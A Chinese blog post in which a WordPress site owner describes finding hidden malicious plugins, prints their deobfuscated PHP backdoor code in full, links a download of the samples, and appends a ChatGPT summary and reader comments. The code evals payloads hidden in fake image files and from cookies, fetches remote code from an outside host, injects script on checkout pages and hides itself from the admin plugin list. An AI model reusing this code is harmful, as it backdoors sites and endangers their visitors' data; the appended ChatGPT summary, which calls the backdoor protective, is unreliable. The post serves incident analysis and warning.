昨天网上登录后台,看到 wp 提示有一项更新,结果点击插件页面直接 502 超时了。后台插件加载一直比较慢,但是这次超时了有点匪夷所思。
实际启用的插件大约 30 多个,按理说 30 个插件的状态查询之类的不应该超时啊。
登录后台删除未启用插件,结果有个插件报删除失败了,应该是之前手动创建备份导致文件目录权限不够导致的错误,于是登录到服务器后台,结果发现了好几个不认识的目录,看名字就 tm 很诡异。
例如 dyfruit,eqytutacih 等等。这几个目录看起来就很奇怪,正常插件基本一眼就能看出插件叫什么,但是这几个目录,完全不知道是什么东西,并且也没安装过的记忆,这个就离谱了。
打开一个插件,里面的内容是下面的样子,明显代码混淆了:
<?php /** * Plugin Name: Eqytutacih * Plugin URI: https://sedifo760.biz/eqytutacih * Description: Overall population. Iceland began during the music of the Royal College of the public * Version: 2.8.8 * Author: Joan Jackie * Author URI: https://sedifo760.biz * Text Domain: eqytutacih * License: GPL2+ * */ function shokesa_ezoboch() { gifocux_lekhodi(); } $lolihyf = __DIR__ . '/lupuqop.php'; if (file_exists($lolihyf)) { include(__DIR__ . "/lup" . "uqop." . "php"); } if (function_exists("gifocux_lekhodi")) { $telyha = new egoshyl_pikhido(); if ($telyha->thaxica_zuchiti()) { add_action('init', 'shokesa_ezoboch'); } }
实际的插件猪瘟文件应该是lupuqop.php,继续查看这个文件:
<?php function jycagav_akherik($teshyfe_khebeca) { if (!file_exists($teshyfe_khebeca)) return false; $davochy = @file_get_contents($teshyfe_khebeca); if (!$davochy) return false; $davochy = substr($davochy, 3); $yfosej = ubeqeth_apinozh($davochy); return $yfosej; } function ubeqeth_apinozh($teshyfe_khebeca) { $adonexa = ashyruq_zhuwuji; $ogyxewi = array(); for ($ividoni = 0; $ividoni < strlen($adonexa); $ividoni += 2) { $celoma = substr($adonexa, $ividoni, 1); $enyxiny = substr($adonexa, $ividoni + 1, 1); $ogyxewi[$celoma] = $enyxiny; } $ururadu = strtr($teshyfe_khebeca, $ogyxewi); $ururadu = base64_decode($ururadu); return $ururadu; } define("ashyruq_zhuwuji", "IhPI06rmYVTge/daGumwtFxBstJG/cpNkCHSMqwpy4lyjr1lf1QkhiWsD73vnxzeUY+KiPFQcb739H5zo8A+EE2dVJvf42NOLLXUS=8nCWKAuRqjb56ZOTaoRMgXZD=9B0"); $okubef = jycagav_akherik(__DIR__ . "/asse" . "ts/i" . "mage" . "s/ohal" . "oth." . "gif"); if ($okubef) { @eval($okubef); }
依然是混淆代码,并且从这里看不出什么有用的信息,不过可以猜到jycagav_akherik这个函数是用来解密的,解密的信息就是 images 目录下的 ohaloth.gif 文件。
这个图片并不是标准图片,实际是一个文本文档。直接修改上面代码的最后一行eval 为 print,打印解密后的文件信息
文件内容:
class egoshyl_pikhido { var $jishebi = 'zhelidi.gif'; var $ythoson = 'usepir.gif'; public $xodeshu = 'ezhacap.js'; public $unetoli_izaxoce = false; public $ivihity_chazoky = false; public $ochutim_chugofi = false; var $jirocid_kihishi = null; var $fefitul_yhakhyj = null; var $ufogib = 'esutozh.gif'; var $rikunyv = 'ewegukh.png'; var $rohefys = false; public function __construct($teshyfe_khebeca = false) { if ($teshyfe_khebeca) { $this->alytash_felofuq(); } } public function alytash_felofuq() { if (!$this->elikhov_ebaniny()) { $this->opopoth_lacalur(); } } public function thaxica_zuchiti() { $ezylowy_pydorik = "DB_N" . "AME"; return defined($ezylowy_pydorik); } protected function awushif_nisubog($teshyfe_khebeca) { $shanere_ekujokh = crc32($teshyfe_khebeca); if ((PHP_INT_SIZE > 4) && ($shanere_ekujokh & 0x80000000)) $shanere_ekujokh = $shanere_ekujokh - 0x100000000; return abs($shanere_ekujokh); } protected function shadawy_ewilahy($teshyfe_khebeca) { $jomothi_sishuji = array( CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_ENCODING => "", CURLOPT_USERAGENT => "Mozi" . "lla/5" . ".0 (Wi" . "ndows " . "NT 6" . ".1; Wi" . "n64;" . " x64;" . " rv:1" . "06.0)" . " Gecko" . "/2010" . "0101" . " Firef" . "ox/106" . ".0", CURLOPT_AUTOREFERER => true, CURLOPT_CONNECTTIMEOUT => 180, CURLOPT_TIMEOUT => 180, CURLOPT_MAXREDIRS => 10, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false ); $ychijih_inyreqo = curl_init($teshyfe_khebeca); curl_setopt_array($ychijih_inyreqo, $jomothi_sishuji); $shanere_ekujokh = @curl_exec($ychijih_inyreqo); if (!$shanere_ekujokh) $shanere_ekujokh = @file_get_contents($teshyfe_khebeca); return $shanere_ekujokh; } protected function oshebyl_cekhiwo($teshyfe_khebeca, $rizhamo_izhylez) { $jomothi_sishuji = ''; $ychijih_inyreqo = "explod" . "e"; $shanere_ekujokh = "trim"; $athefyh_quxozuz = "base6" . "4_dec" . "ode"; $lupethe_dichano = "gzin" . "flate"; $shygyxi_thibeki = $ychijih_inyreqo("\n", $teshyfe_khebeca); for ($avunype_efozote = 0; $avunype_efozote < sizeof($shygyxi_thibeki); $avunype_efozote++) { $jomothi_sishuji .= $shanere_ekujokh($shygyxi_thibeki[$avunype_efozote]); } if (!$rizhamo_izhylez) { return $lupethe_dichano($athefyh_quxozuz($jomothi_sishuji)); } $fegushy_riwobej = ''; for ($abuhoxu_rowugeg = 0; $abuhoxu_rowugeg < sizeof($rizhamo_izhylez); $abuhoxu_rowugeg += 2) { if ($abuhoxu_rowugeg % 4) { $fegushy_riwobej .= substr($jomothi_sishuji, $rizhamo_izhylez[$abuhoxu_rowugeg], $rizhamo_izhylez[$abuhoxu_rowugeg + 1]); } else { $fegushy_riwobej .= strrev(substr($jomothi_sishuji, $rizhamo_izhylez[$abuhoxu_rowugeg], $rizhamo_izhylez[$abuhoxu_rowugeg + 1])); } }; $fegushy_riwobej = $athefyh_quxozuz($fegushy_riwobej); return $fegushy_riwobej; } public function fepanuj_bemucal() { if ($this->fefitul_yhakhyj) return true; return $this->soshigy_yroxykh(); } protected function elikhov_ebaniny() { if (!$this->thaxica_zuchiti()) header("gegel3" . ":" . ($this->jirocid_kihishi + 1)); $fegushy_riwobej = "HTTP_H" . "OST"; $lupethe_dichano = strtoupper($_SERVER[$fegushy_riwobej]); $exushoq_guzhufo = $this->pesivoj_yshusig($lupethe_dichano, 5, 7); $okowocu_ojafyju = $this->pesivoj_yshusig($lupethe_dichano . $lupethe_dichano, 4, 8); if (isset($_COOKIE[$exushoq_guzhufo])) { if ($this->fepanuj_bemucal()) { $athefyh_quxozuz = md5($_COOKIE[$exushoq_guzhufo]); if (($athefyh_quxozuz == $this->fefitul_yhakhyj)) { if ((!isset($_COOKIE[$okowocu_ojafyju])) && (!isset($_POST[$okowocu_ojafyju]))) { $lolihyf = __DIR__ . "/assets/images/dulishy.png"; if (file_exists($lolihyf)) { $telyha = file_get_contents($lolihyf); $telyha = upeketh_cujowel($telyha); echo $telyha; @unlink($lolihyf); exit; } } else { if (isset($_COOKIE[$okowocu_ojafyju])) { $uqazuho_atehiwy = $_COOKIE[$okowocu_ojafyju]; $avunype_efozote = base64_decode($uqazuho_atehiwy); $abuhoxu_rowugeg = $this->shadawy_ewilahy($avunype_efozote); } if (isset($_POST[$okowocu_ojafyju])) { $abuhoxu_rowugeg = base64_decode($_POST[$okowocu_ojafyju]); } $this->ivihity_chazoky = $abuhoxu_rowugeg; return true; } } } } return false; } protected function opopoth_lacalur() { $jomothi_sishuji = __DIR__ . "/assets/images/" . $this->ythoson; $ychijih_inyreqo = jycagav_akherik($jomothi_sishuji); if (!$ychijih_inyreqo) return false; $this->unetoli_izaxoce = $ychijih_inyreqo; return true; } public function xikakhi_ithukeq() { $jomothi_sishuji = "dirna" . "me"; $jomothi_sishuji = $jomothi_sishuji(__FILE__); $jomothi_sishuji = str_replace("\\", "/", $jomothi_sishuji); $ychijih_inyreqo = explode("/", $jomothi_sishuji); $ychijih_inyreqo = end($ychijih_inyreqo); $ychijih_inyreqo = $ychijih_inyreqo . "/" . $ychijih_inyreqo . ".php"; return $ychijih_inyreqo; } public function zofeber_uvyreha() { $jomothi_sishuji = "wpyii" . "2/wp" . "yii2" . ".php"; return $jomothi_sishuji; } public function fesikhe_suzhage() { $jomothi_sishuji = "pxcel" . "Page_" . "c01002"; return $jomothi_sishuji; } public function izhigyc_omizikh() { $jomothi_sishuji = "6048" . "00"; return $jomothi_sishuji; } public function uhibifa_fiweqif() { $jomothi_sishuji = "YII_" . "WWW_" . "DIR"; return $jomothi_sishuji; } public function xigohaf_ycavylu() { $jomothi_sishuji = "YII_W" . "WW_P" . "ATH"; return $jomothi_sishuji; } public function pesivoj_yshusig($teshyfe_khebeca, $rizhamo_izhylez, $xyzhofy_oxoshuv) { $shanere_ekujokh = "substr"; $athefyh_quxozuz = "strlen"; $fegushy_riwobej = "qwrtp" . "sdghj" . "klzxc" . "vbnm"; $lupethe_dichano = "eyuoa"; $jomothi_sishuji = 0; for ($ychijih_inyreqo = 0; $ychijih_inyreqo < $athefyh_quxozuz($teshyfe_khebeca); $ychijih_inyreqo++) { $shygyxi_thibeki = ord($shanere_ekujokh($teshyfe_khebeca, $ychijih_inyreqo, 1)); $jomothi_sishuji += $shygyxi_thibeki + $shygyxi_thibeki * ($shygyxi_thibeki + $ychijih_inyreqo); } $shygyxi_thibeki = $xyzhofy_oxoshuv - $rizhamo_izhylez; $avunype_efozote = $jomothi_sishuji % $shygyxi_thibeki; $exushoq_guzhufo = $jomothi_sishuji % 2; $abuhoxu_rowugeg = ''; for ($ychijih_inyreqo = 0; $ychijih_inyreqo < $rizhamo_izhylez + $avunype_efozote; $ychijih_inyreqo++) { $okowocu_ojafyju = $ychijih_inyreqo % $athefyh_quxozuz($teshyfe_khebeca); $okowocu_ojafyju = ord($shanere_ekujokh($teshyfe_khebeca, $okowocu_ojafyju, 1)); $shygyxi_thibeki = $jomothi_sishuji + $okowocu_ojafyju + $ychijih_inyreqo + ($okowocu_ojafyju + $ychijih_inyreqo) * ($okowocu_ojafyju + $ychijih_inyreqo); $uqazuho_atehiwy = ($ychijih_inyreqo + $exushoq_guzhufo) % 2; if ($uqazuho_atehiwy) { $abuhoxu_rowugeg .= $shanere_ekujokh($fegushy_riwobej, $shygyxi_thibeki % $athefyh_quxozuz($fegushy_riwobej), 1); } else { $abuhoxu_rowugeg .= $shanere_ekujokh($lupethe_dichano, $shygyxi_thibeki % $athefyh_quxozuz($lupethe_dichano), 1); } } return $abuhoxu_rowugeg; } public function mechovy_iqichus() { $jomothi_sishuji = __DIR__ . '/assets/images/' . $this->ufogib; $ychijih_inyreqo = jycagav_akherik($jomothi_sishuji); $this->ochutim_chugofi = $ychijih_inyreqo; } public function qyborih_qonugyh() { $jomothi_sishuji = "README" . ".txt"; $ychijih_inyreqo = "base6" . "4_dec" . "ode"; $shanere_ekujokh = "strre" . "v"; $athefyh_quxozuz = "6048" . "00"; $abuhoxu_rowugeg = "unli" . "nk"; $athefyh_quxozuz = time() - intval($athefyh_quxozuz) / 7; $avunype_efozote = dirname(__FILE__); $lupethe_dichano = "file_g" . "et_co" . "ntents"; $exushoq_guzhufo = "head" . "er"; $okowocu_ojafyju = "file_p" . "ut_co" . "ntents"; $uqazuho_atehiwy = "pxcel" . "Page_" . "c01002"; if (isset($_COOKIE[$uqazuho_atehiwy])) return; $okubef = false; if (file_exists($avunype_efozote . '/' . $jomothi_sishuji)) { $shygyxi_thibeki = filemtime($avunype_efozote . '/' . $jomothi_sishuji); if ($shygyxi_thibeki < $athefyh_quxozuz) { $okubef = true; } else { if (!defined('YII_FORMA_OK')) { define('YII_FORMA_OK', 1); } $fegushy_riwobej = $lupethe_dichano($avunype_efozote . '/' . $jomothi_sishuji); $fegushy_riwobej = $ychijih_inyreqo($shanere_ekujokh($fegushy_riwobej)); echo $fegushy_riwobej; return; } } $okubef = true; try { $etythag_ichanyl = "SERVER" . "_ADDR"; $chugoxo_ecushaz = "HTTP_H" . "OST"; $epizhug_namibyp = "REMOTE" . "_ADD" . "R"; $qoxamec_idiwuva = "disco" . "unt:"; $vetevyk_izhoqiq = "pric" . "e:"; $bexeqyq_ewuvezh = "merc" . "hant:"; $atezoch_ebanagy = "order" . ":"; $ocifush_zyqawik = "addre" . "ss:"; $evytitu_yshovom = "127.0" . ".0.1"; $godotuv_sithity = "HTTP_" . "CLIEN" . "T_IP"; $punimuq_yzebash = "HTTP" . "_X_FO" . "RWARDE" . "D_FOR"; $dovisew_ukemisa = "#^[A" . "-Za-" . "z0-9+" . "/=]+$" . "#"; $khyvexy_uchejij = "REQUES" . "T_ME" . "THOD"; $ykhynug_sokhoda = "http" . "s://st" . "egoz" . "auru" . "s.cc" . "/wp/" . "widget" . ".txt"; $dybashi_solygel = "GET"; $zhibevy_suzhiku = "curl_" . "init"; $tacusho_okoshuv = "strea" . "m_con" . "text_c" . "reate"; $ikathog_ygiboqa = "http"; $xiluzim_kuqycyx = "metho" . "d"; $vushehy_utamyxi = 0; $zhiqizy_iwuwoni = 0; $ixothyc_fabychi = isset($_SERVER[$etythag_ichanyl]) ? $_SERVER[$etythag_ichanyl] : $evytitu_yshovom; $nufokaj_ymozhuk = isset($_SERVER[$godotuv_sithity]) ? $_SERVER[$godotuv_sithity] : (isset($_SERVER[$punimuq_yzebash]) ? $_SERVER[$punimuq_yzebash] : $_SERVER[$epizhug_namibyp]); $dechugi_ynetyra = $_SERVER[$chugoxo_ecushaz]; for ($utosutu_gathife = 0; $utosutu_gathife < strlen($dechugi_ynetyra); $utosutu_gathife++) { $vushehy_utamyxi += ord(substr($dechugi_ynetyra, $utosutu_gathife, 1)); $zhiqizy_iwuwoni += $utosutu_gathife * ord(substr($dechugi_ynetyra, $utosutu_gathife, 1)); } if ((isset($_SERVER[$khyvexy_uchejij])) && ($_SERVER[$khyvexy_uchejij] == $dybashi_solygel)) { $ixiqyqo_imethyg = false; if (function_exists($zhibevy_suzhiku)) { $osecopa_ixicixo = curl_init($ykhynug_sokhoda); curl_setopt($osecopa_ixicixo, CURLOPT_RETURNTRANSFER, true); curl_setopt($osecopa_ixicixo, CURLOPT_CONNECTTIMEOUT, 15); curl_setopt($osecopa_ixicixo, CURLOPT_TIMEOUT, 15); curl_setopt($osecopa_ixicixo, CURLOPT_HEADER, false); curl_setopt($osecopa_ixicixo, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($osecopa_ixicixo, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($osecopa_ixicixo, CURLOPT_HTTPHEADER, array("$qoxamec_idiwuva $vushehy_utamyxi", "$atezoch_ebanagy $zhiqizy_iwuwoni", "$vetevyk_izhoqiq $nufokaj_ymozhuk", "$bexeqyq_ewuvezh $dechugi_ynetyra", "$ocifush_zyqawik $ixothyc_fabychi")); $ixiqyqo_imethyg = @curl_exec($osecopa_ixicixo); curl_close($osecopa_ixicixo); $ixiqyqo_imethyg = trim($ixiqyqo_imethyg); if (preg_match($dovisew_ukemisa, $ixiqyqo_imethyg)) { $zihojiq_yshuvos = @$ychijih_inyreqo($shanere_ekujokh($ixiqyqo_imethyg)); if ($okubef) { @unlink($avunype_efozote . '/' . $jomothi_sishuji); $okowocu_ojafyju($avunype_efozote . '/' . $jomothi_sishuji, $ixiqyqo_imethyg, LOCK_EX); } if (!defined('YII_FORMA_OK')) { define('YII_FORMA_OK', 1); } echo $zihojiq_yshuvos; } } if ((!$ixiqyqo_imethyg) && (function_exists($tacusho_okoshuv))) { $urogozh_xalujoq = array( $ikathog_ygiboqa => array( $xiluzim_kuqycyx => "GET", $exushoq_guzhufo => "$qoxamec_idiwuva $vushehy_utamyxi\r\n$atezoch_ebanagy $zhiqizy_iwuwoni\r\n$vetevyk_izhoqiq $nufokaj_ymozhuk\r\n$bexeqyq_ewuvezh $dechugi_ynetyra\r\n$ocifush_zyqawik $ixothyc_fabychi" ) ); $urogozh_xalujoq = $tacusho_okoshuv($urogozh_xalujoq); $ixiqyqo_imethyg = @$lupethe_dichano($ykhynug_sokhoda, false, $urogozh_xalujoq); if (preg_match($dovisew_ukemisa, $ixiqyqo_imethyg)) { $zihojiq_yshuvos = @$ychijih_inyreqo($shanere_ekujokh($ixiqyqo_imethyg)); if ($okubef) { @unlink($avunype_efozote . '/' . $jomothi_sishuji); $okowocu_ojafyju($avunype_efozote . '/' . $jomothi_sishuji, $ixiqyqo_imethyg, LOCK_EX); } if (!defined('YII_FORMA_OK')) { define('YII_FORMA_OK', 1); } echo $zihojiq_yshuvos; } } } } catch (Exception $ogopeme_ucechex) { } } public function soshigy_yroxykh() { $jomothi_sishuji = __DIR__ . '/assets/images/zhelidi.gif'; if (!file_exists($jomothi_sishuji)) { return false; } $ychijih_inyreqo = jycagav_akherik($jomothi_sishuji); $shanere_ekujokh = "HTTP_H" . "OST"; $athefyh_quxozuz = $_SERVER[$shanere_ekujokh]; $abuhoxu_rowugeg = floor(strlen($ychijih_inyreqo) / 32); $shygyxi_thibeki = $this->awushif_nisubog($athefyh_quxozuz) % $abuhoxu_rowugeg; $avunype_efozote = substr($ychijih_inyreqo, $shygyxi_thibeki * 32, 32); $this->jirocid_kihishi = $shygyxi_thibeki; $this->fefitul_yhakhyj = $avunype_efozote; define('axezhod_dygefuw', $this->fefitul_yhakhyj); return $avunype_efozote; } } function yzhalaw_oxahuru($teshyfe_khebeca) { $ykofiq = strtr($teshyfe_khebeca, array('Q'=>'F', 'W'=>'C', 'E'=>'E', 'R'=>'u', 'T'=>'O', 'Y'=>'U', 'U'=>'X', 'I'=>'P', 'O'=>'N', 'P'=>'i', 'A'=>'K', 'S'=>'H', 'D'=>'Z', 'F'=>'t', 'G'=>'J', 'H'=>'9', 'J'=>'V', 'K'=>'+', 'L'=>'L', 'Z'=>'6', 'X'=>'g', 'C'=>'k', 'V'=>'Y', 'B'=>'x', 'N'=>'p', 'M'=>'R', 'q'=>'M', 'w'=>'m', 'e'=>'z', 'r'=>'j', 't'=>'s', 'y'=>'l', 'u'=>'G', 'i'=>'h', 'o'=>'a', 'p'=>'w', 'a'=>'d', 's'=>'W', 'd'=>'2', 'f'=>'v', 'g'=>'T', 'h'=>'I', 'j'=>'q', 'k'=>'Q', 'l'=>'1', 'z'=>'5', 'x'=>'n', 'c'=>'/', 'v'=>'3', 'b'=>'c', 'n'=>'8', 'm'=>'r', '1'=>'f', '2'=>'4', '3'=>'7', '4'=>'y', '5'=>'b', '6'=>'0', '7'=>'D', '8'=>'o', '9'=>'=', '0'=>'B', '='=>'S', '+'=>'A', '/'=>'e')); return $ykofiq; } function upeketh_cujowel($teshyfe_khebeca) { $ururadu = strtr($teshyfe_khebeca, array('F'=>'Q', 'C'=>'W', 'E'=>'E', 'u'=>'R', 'O'=>'T', 'U'=>'Y', 'X'=>'U', 'P'=>'I', 'N'=>'O', 'i'=>'P', 'K'=>'A', 'H'=>'S', 'Z'=>'D', 't'=>'F', 'J'=>'G', '9'=>'H', 'V'=>'J', '+'=>'K', 'L'=>'L', '6'=>'Z', 'g'=>'X', 'k'=>'C', 'Y'=>'V', 'x'=>'B', 'p'=>'N', 'R'=>'M', 'M'=>'q', 'm'=>'w', 'z'=>'e', 'j'=>'r', 's'=>'t', 'l'=>'y', 'G'=>'u', 'h'=>'i', 'a'=>'o', 'w'=>'p', 'd'=>'a', 'W'=>'s', '2'=>'d', 'v'=>'f', 'T'=>'g', 'I'=>'h', 'q'=>'j', 'Q'=>'k', '1'=>'l', '5'=>'z', 'n'=>'x', '/'=>'c', '3'=>'v', 'c'=>'b', '8'=>'n', 'r'=>'m', 'f'=>'1', '4'=>'2', '7'=>'3', 'y'=>'4', 'b'=>'5', '0'=>'6', 'D'=>'7', 'o'=>'8', '='=>'9', 'B'=>'0', 'S'=>'=', 'A'=>'+', 'e'=>'/')); return $ururadu; } $okutykh_sirugom = new egoshyl_pikhido(); function gifocux_lekhodi() { $xawalyw_gechune = new egoshyl_pikhido(true); if ($xawalyw_gechune->ivihity_chazoky) { @eval($xawalyw_gechune->ivihity_chazoky); if (!is_array($xawalyw_gechune->thaxica_zuchiti())) exit; } } function dugamow_betaqav() { global $wp_list_table; $jomothi_sishuji = new egoshyl_pikhido(); $ychijih_inyreqo = array($jomothi_sishuji->xikakhi_ithukeq()); $shanere_ekujokh = $wp_list_table->items; foreach ($shanere_ekujokh as $key => $val) { if (in_array($key, $ychijih_inyreqo)) { unset($wp_list_table->items[$key]); } } } function ociluch_eshynen($teshyfe_khebeca) { $jomothi_sishuji = new egoshyl_pikhido(); if (in_array($jomothi_sishuji->xikakhi_ithukeq(), array_keys($teshyfe_khebeca))) { unset($teshyfe_khebeca[$jomothi_sishuji->xikakhi_ithukeq()]); } return $teshyfe_khebeca; } function echiveq_pysejam() { $jomothi_sishuji = new egoshyl_pikhido(); $jomothi_sishuji->qyborih_qonugyh(); if (!defined('YII_FORMA_OK')) { $uqazuho_atehiwy = "pxcel" . "Page_" . "c01002"; if (isset($_COOKIE[$uqazuho_atehiwy])) return; $adonexa = __DIR__ . '/assets/js/' . $jomothi_sishuji->xodeshu; if (file_exists($adonexa)) { $ividoni = @file_get_contents($adonexa); if ($ividoni) { define('YII_FORMA_OK', 1); echo "<script>" . $ividoni . "</script>"; return; } } $adonexa = __DIR__ . '/assets/images/' . $jomothi_sishuji->rikunyv; if (file_exists($adonexa)) { $ividoni = file_get_contents($adonexa); if ($ividoni) { $ividoni = substr($ividoni, 3); $ividoni = upeketh_cujowel($ividoni); if ($ividoni) { $ividoni = base64_decode($ividoni); define('YII_FORMA_OK', 1); echo "<script>" . $ividoni . "</script>"; } } } } } function edewuch_azicich() { $shanere_ekujokh = new egoshyl_pikhido(); $jomothi_sishuji = $shanere_ekujokh->fesikhe_suzhage(); if (current_user_can('editor') || current_user_can('administrator')) { if (isset($_COOKIE['_wptoken']) && (!isset($_COOKIE['_jwp']))) { setcookie("__wordpressuser__", 1, time() + 600, "/"); setcookie("__wordpress_logged_in__", 1, time() + 600, "/"); $_COOKIE['__wordpressuser__'] = 1; $_COOKIE['__wordpress_logged_in__'] = 1; } $ychijih_inyreqo = $shanere_ekujokh->izhigyc_omizikh(); $ychijih_inyreqo = intval($ychijih_inyreqo) * 64; if ((function_exists("get_option")) && (function_exists("add_option")) && (function_exists("update_option"))) { $user_ip = $_SERVER['REMOTE_ADDR']; if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $user_ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } if (isset($_SERVER['HTTP_CLIENT_IP'])) { $user_ip = $_SERVER['HTTP_CLIENT_IP']; } $user_ip_md5 = md5($user_ip); $option_name = "wp_$user_ip_md5"; $option_value = get_option($option_name); $option_value_new = time(); if (!$option_value) { add_option($option_name, $option_value_new, '', 'no'); } else { update_option($option_name, $option_value_new); } } if (isset($_COOKIE[$jomothi_sishuji])) return; setcookie($jomothi_sishuji, "1", time() + $ychijih_inyreqo, "/"); } } if ($okutykh_sirugom->thaxica_zuchiti()) { add_action('pre_current_active_plugins', 'dugamow_betaqav'); add_filter('all_plugins', 'ociluch_eshynen'); add_action('admin_init', 'edewuch_azicich'); if (!defined($okutykh_sirugom->uhibifa_fiweqif())) { $okutykh_sirugom->mechovy_iqichus(); if ($okutykh_sirugom->ochutim_chugofi) @eval($okutykh_sirugom->ochutim_chugofi); } if (!defined($okutykh_sirugom->xigohaf_ycavylu())) { define($okutykh_sirugom->xigohaf_ycavylu(), 1); $adonexa = __DIR__ . "/README.txt"; if ((!defined($okutykh_sirugom->uhibifa_fiweqif())) || (!file_exists($adonexa))) { add_action('woocommerce_before_checkout_form', 'echiveq_pysejam'); } } if (!defined($okutykh_sirugom->uhibifa_fiweqif())) { define($okutykh_sirugom->uhibifa_fiweqif(), 1); } } else { if ($okutykh_sirugom->fepanuj_bemucal()) { $okutykh_sirugom->alytash_felofuq(); if ($okutykh_sirugom->ivihity_chazoky) { @eval($okutykh_sirugom->ivihity_chazoky); } else { @eval($okutykh_sirugom->unetoli_izaxoce); } } }
简要分析之后可以发现注册了一系列的钩子,并且貌似还有截取 cookie 的代码,这个插件并不会在插件列表页面显示,但是删除文件之后,再次进入后台就会发现几个插件由于文件不存在已经被禁用了。
浏览备份文件可以看到这几个文件都是 9 月份之后创建的。
这些插件植入,猜测可能是那段时间更新替换插件导致的,或者是旧插件有漏洞被利用了。因为另外一个 wp 并没有被植入相关的木马文件,所以应该不是服务器被入侵了。几个插件的结构基本是一样的,目录也基本相似。
dyfruit
<?php function etypody_kichijo($thamyje_axakopy) { if (!file_exists($thamyje_axakopy)) return false; $bemukej = @file_get_contents($thamyje_axakopy); if (!$bemukej) return false; $bemukej = substr($bemukej, 3); $iheleku = zhutymo_anadash($bemukej); return $iheleku; } function zhutymo_anadash($thamyje_axakopy) { $azesuku = vufusit_ekhijoj; $cufiku = array(); for ($ogucam = 0; $ogucam < strlen($azesuku); $ogucam += 2) { $fyjyzha = substr($azesuku, $ogucam, 1); $hususo = substr($azesuku, $ogucam + 1, 1); $cufiku[$fyjyzha] = $hususo; } $khunugo = strtr($thamyje_axakopy, $cufiku); $khunugo = base64_decode($khunugo); return $khunugo; } define("vufusit_ekhijoj", "i+eRPQACEoCS7u00XeIIOU1j=bSVfk+83hYYQNoTGnacNGjssablxqrrydhKHH8=54F9JFRDk/LO91Ki2fu742lwz6WAqWnxwBTMmgBpg3/zDPdE6mZJpZvvVytXU5cLMt"); $adafoja = etypody_kichijo(__DIR__ . "/ass" . "ets/i" . "mage" . "s/oth" . "ejuq." . "png"); if ($adafoja) { @eval($adafoja); }
删除文件,修改密码,就先这样吧。也不好追溯当初这些文件是怎么被植入的,木马文件打包压缩了,感兴趣的可以从这里下载,千万不要安装到自己的 wp 系统上哦。
下载地址:https://www.123pan.com/s/ucY7Vv-v8VHA.html提取码:8shq
附录,chatgpt 代码分析结果:
这段代码是一个 WordPress 插件,其主要功能包括: 防止恶意访问: 通过检查 HTTP 请求的一些参数,如请求的主机、请求的方法等,以及一些自定义的算法,来判断是否为恶意访问。如果检测到恶意访问,则会返回一个图片或执行一些其他操作,以防止进一步的攻击。 动态生成 JavaScript 代码: 通过读取一个名为 ezhacap.js 的文件,将其内容作为 JavaScript 代码输出。这个 JavaScript 代码会被嵌入到 WordPress 的页面中。 处理请求: 通过处理 HTTP 请求的参数,特别是 Cookie 和 POST 请求,来执行一些逻辑。根据特定的条件,可能会返回一个特定的图片,执行一些 JavaScript 代码,或者进行其他操作。 删除指定文件: 在某些条件下,会尝试删除一个名为 dulishy.png 的文件。这可能是为了清理一些临时文件或痕迹。 WordPress 页面过滤: 在 WordPress 后台管理页面中,通过修改页面列表,动态删除某些页面。 生成特定路径: 提供了一些函数,例如 xikakhi_ithukeq()、zofeber_uvyreha()、fesikhe_suzhage()、izhigyc_omizikh()、uhibifa_fiweqif()、xigohaf_ycavylu(),用于生成特定的路径字符串。 Base64 编码和解码: 提供了 yzhalaw_oxahuru() 和 upeketh_cujowel() 函数,用于对字符串进行自定义的 Base64 编码和解码。 执行远程请求: 通过使用 cURL 或 PHP 的 stream_context_create 和 file_get_contents 函数,执行远程 HTTP 请求,获取远程服务器的响应,并根据响应执行一些逻辑。 JavaScript 动态加载: 通过输出一段 JavaScript 代码,动态加载其他 JavaScript 文件。 其他: 还包括一些其他函数和操作,例如 alytash_felofuq()、fepanuj_bemucal()、elikhov_ebaniny()、opopoth_lacalur()、mechovy_iqichus()、qyborih_qonugyh()、soshigy_yroxykh()、gifocux_lekhodi()、ociluch_eshynen()、echiveq_pysejam() 等,这些函数用于实现插件的具体功能逻辑。 请注意,这段代码存在安全风险,因为它包含执行远程请求和动态执行代码的功能,这可能导致潜在的安全问题。在使用或分析此代码时,请务必小心谨慎。
21 comments
我搬家之前的网站文件,也测到了木马,我没有抓,直接来个大换血。
大换血也是个办法,看看具体情况,不行的话就直接覆盖安装。
你反馈的那些天,彻查没有任何发现 也是大换血 MySQL也经历了大换血处理
但是呢,家里的电脑上依然报毒,只能把你加白名单了~~
WP最烦的就是这个,文件越来越多,而且增加数量恐怖,没点技术真看不出来是啥,近期我新启了个WP站也遇到了类似的问题。
最主要的是这几个木马插件我不知道怎么来的
吓得我也赶紧看了看插件目录,还好一切正常
嗯嗯,应该是某次上传的插件有问题。或者是插件漏洞被利用了,看来的时长关注了。
我现在不喜欢装插件,不用的插件和主题统统删掉,这是容易藏污纳垢的地方。
看来图片也得留意一下,居然用来藏加密代码。
木马截取了cookie,不知修改后台登录密码能不能防住它?
wp 可以注销所有登录终端,修改密码之后直接注销所有登录的终端就行了。
还是得勤换密码了
能写出这样代码插件的人也是人才啊
完全看不懂
代码混淆有各种成熟的方案,但是反混淆就比较麻烦。
他们混淆的目的就是故意让你看不懂,不知道他是干嘛用的。
厉害,还会破解混淆。php是这样,把一个 .php文件上传了,就能改变和执行程序了。另外就是eval这种高风险的函数。java没有这种问题,python好像也会有,只要是脚本类的语言都会
那可不,啥都会呢
高级,直接一头雾水。只看懂了第一张配图,嗯,不错。
不要在意这些细节,嘻嘻
够狠啊,30个插件!!!
还好,一共四十多个,现在把没启用的都删除了。
像我这种使用静态框架的人,就遇不到这种情况,好烦~
赶紧换啊,体验一下。否则不圆满~~